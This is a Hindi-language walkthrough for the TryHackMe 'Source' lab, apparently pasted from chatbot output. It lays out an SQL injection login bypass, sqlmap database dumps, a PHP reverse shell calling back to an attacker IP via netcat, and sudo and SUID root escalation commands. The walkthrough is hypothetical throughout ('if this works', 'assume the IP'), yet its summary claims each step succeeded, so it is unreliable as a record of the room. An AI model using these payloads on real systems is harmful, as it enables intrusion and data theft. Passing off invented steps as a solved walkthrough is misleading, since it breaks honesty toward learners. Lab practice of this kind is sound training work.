

📌 Step 1: TryHackMe Machine से कनेक्ट करना

1] TryHackMe VPN से कनेक्ट करें (सबसे पहला स्टेप)

TryHackMe की किसी भी मशीन को एक्सेस करने के लिए आपको सबसे पहले VPN से कनेक्ट होना होगा।

इसके लिए TryHackMe से अपना **VPN Configuration File (.ovpn)** डाउनलोड करें और इसे कनेक्ट करें:

```
bash
```

```
CopyEdit
```

```
sudo openvpn yourfile.ovpn
```

(yourfile.ovpn को अपने डाउनलोड किए हुए VPN फाइल से रिप्लेस करें)

✓ चेक करें कि VPN कनेक्ट हुआ या नहीं:

```
bash
```

```
CopyEdit
```

```
ip a
```

अगर आपका नया IP TryHackMe के VPN Range (10.8.x.x या 10.10.x.x) से दिखता है, तो कनेक्शन सही है।

2] "Source" मशीन स्टार्ट करें और IP Address नोट करें

अब TryHackMe की "Source" मशीन को **Deploy** करें और उसका IP Address चेक करें।

🚀 मान लीजिए मशीन का IP Address = 10.10.200.100 है।

📌 Step 2: Nmap से सर्विस और पोर्ट स्कैनिंग

अब हमें यह पता लगाना होगा कि मशीन पर कौन-कौन से पोर्ट ओपन हैं और कौन-कौन सी सर्विसेज़ रन हो रही हैं।

इसके लिए हम **Nmap (Network Mapper)** यूज़ करेंगे।

bash

CopyEdit

```
nmap -sC -sV -oN scan.txt 10.10.200.100
```

📌 इसका मतलब:

- -sC → Default Scripts रन करता है
- -sV → सर्विस वर्जन डिटेक्ट करता है
- -oN scan.txt → रिजल्ट को scan.txt में सेव करता है

🔍 Nmap Output Analysis

arduino

CopyEdit

PORT	STATE	SERVICE
------	-------	---------

22/tcp	open	ssh
--------	------	-----

80/tcp	open	http
--------	------	------

✓ इसका मतलब:

- **SSH (22/tcp) ओपन है** → शायद बाद में Privilege Escalation में काम आएगा।
- **Web Server (80/tcp) ओपन है** → हमें इसे एक्सप्लोर करना होगा।

📌 Step 3: Web Enumeration (वेबसाइट की जानकारी निकालना)

अब हम ब्राउज़र में **http://10.10.200.100** खोलेंगे और वेबसाइट चेक करेंगे।

🚀 Important: यहाँ हमें Hidden Files और Directories ढूँढ़नी होंगी!

💻 Gobuster से Hidden Files & Directories खोजें

bash

CopyEdit

```
gobuster dir -u http://10.10.200.100 -w /usr/share/wordlists/dirb/common.txt
```

✓ अगर आउटपुट में /admin, /backup या /uploads मिलता है, तो इसे ध्यान से चेक करें।

2 robots.txt चेक करें

कुछ वेबसाइट्स में robots.txt फाइल में सीक्रेट पाथ छुपा होता है।

bash

CopyEdit

```
curl http://10.10.200.100/robots.txt
```

अगर इसमें /secret या /flag.txt जैसा कुछ लिखा हो, तो उसे खोलें!

◆ Step 4: SQL Injection Try करें (अगर लॉगिन पेज मिले)

अगर /admin URL पर **Login Page** मिलता है, तो हमें इसे SQL Injection से बायपास करने की कोशिश करनी चाहिए।

1 सबसे पहले, SQL Injection Try करें

sql

CopyEdit

Username: admin' OR 1=1 --

Password: anything

👉 अगर यह वर्क करता है, तो हमें Admin Panel का एक्सेस मिल जाएगा।

2 SQLmap से Database Dump करें

अगर हम SQL Injection से सफल होते हैं, तो हम पूरे डेटाबेस को SQLmap से निकाल सकते हैं:

bash

CopyEdit

```
sqlmap -u "http://10.10.200.100/admin/login.php" --dbs
```

फिर, डेटाबेस में यूजर्स और पासवर्ड चेक करें:

bash

CopyEdit

```
sqlmap -u "http://10.10.200.100/admin/login.php" -D users --dump
```

Step 5: Reverse Shell अपलोड करें (अगर File Upload का ऑप्शन मिले)

अगर /upload पर File Upload करने का ऑप्शन है, तो हम PHP Reverse Shell अपलोड करेंगे।

1 महले PHP Shell तैयार करें

bash

CopyEdit

```
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
```

2 फाइल को एडिट करें और अपना IP डालें

bash

CopyEdit

```
nano shell.php
```

php

CopyEdit

```
$ip = 'YOUR_IP'; // अपना VPN IP डालें (ifconfig से चेक करें)
```

```
$port = 4444;
```

3 अब shell.php को वेबसाइट पर अपलोड करें

4 Netcat Listener खोलें

bash

CopyEdit

```
nc -lvp 4444
```

अब जब आप shell.php खोलेंगे, तो आपको बैक कनेक्शन मिल जाएगा। 

Step 6: Linux Privilege Escalation (Root बनना)

अब हमें Root बनने के लिए Privilege Escalation करना होगा।

1 कौन-कौन से कमांड चल सकते हैं, चेक करें

bash

CopyEdit

sudo -l

अगर आउटपुट में दिखता है:

bash

CopyEdit

User may run the following commands on source:

(ALL) NOPASSWD: /bin/bash

तो आप **Root** बन सकते हैं!

bash

CopyEdit

sudo /bin/bash

SUID Binaries खोजें

bash

CopyEdit

find / -perm -4000 2>/dev/null

अगर python या find में SUID सेटिंग्स मिलती हैं, तो इस तरह Root Access लिया जा सकता है:

bash

CopyEdit

find . -exec /bin/sh -p \; -quit

Step 7: Root Flag खोजें!

अब हम Root बनने के बाद Flag को खोजेंगे।

bash

CopyEdit

cd /root

```
cat root.txt
```

🎉 बधाई हो! आपने TryHackMe "Source" मशीन को कम्प्लीट कर लिया! 🎉

🎯 Summary - TryHackMe "Source" Walkthrough

- ✓ VPN से कनेक्ट हुए
- ✓ Nmap से स्कैनिंग की
- ✓ वेबसाइट की सीक्रेट फाइल्स खोजी
- ✓ SQL Injection से Admin Panel Hack किया
- ✓ Reverse Shell अपलोड की और बैक कनेक्शन लिया
- ✓ Privilege Escalation से Root बने और Flag निकाला

अगर आपको TryHackMe के किसी और चैलेंज में दिक्कत आ रही है, तो मुझसे पूछ सकते हैं! 💡 🚀